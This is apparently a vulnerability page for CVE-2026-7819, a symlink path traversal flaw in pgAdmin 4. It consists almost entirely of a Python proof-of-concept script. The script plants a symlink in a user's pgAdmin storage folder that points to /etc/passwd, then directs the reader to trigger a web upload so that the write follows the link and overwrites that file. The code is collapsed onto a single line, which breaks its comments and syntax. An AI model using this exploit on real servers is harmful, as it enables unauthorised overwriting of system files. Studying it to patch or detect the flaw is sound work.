CVE-2026-7819 pgAdmin 4 符号链接路径遍历漏洞

# PoC Concept for CVE-2026-7819 # This script demonstrates the creation of a malicious symlink. import os # Configuration USER_STORAGE_DIR = "/var/lib/pgadmin/storage/user_uuid/" TARGET_PATH = "/etc/passwd" # The target file to overwrite SYMLINK_NAME = "exploit_link" # Step 1: Create the symbolic link inside the user's storage full_link_path = os.path.join(USER_STORAGE_DIR, SYMLINK_NAME) try: # Create symlink pointing outside the storage directory os.symlink(TARGET_PATH, full_link_path) print(f"[+] Symlink created: {full_link_path} -> {TARGET_PATH}") except Exception as e: print(f"[-] Failed to create symlink: {e}") # Step 2: Trigger the upload/write via pgAdmin API # Using the filename 'exploit_link'. The check_access_permission will pass # because it resolves to an absolute path inside the storage dir. # However, the actual write will follow the symlink to /etc/passwd. print("[*] Now trigger a file upload via the web interface targeting 'exploit_link'")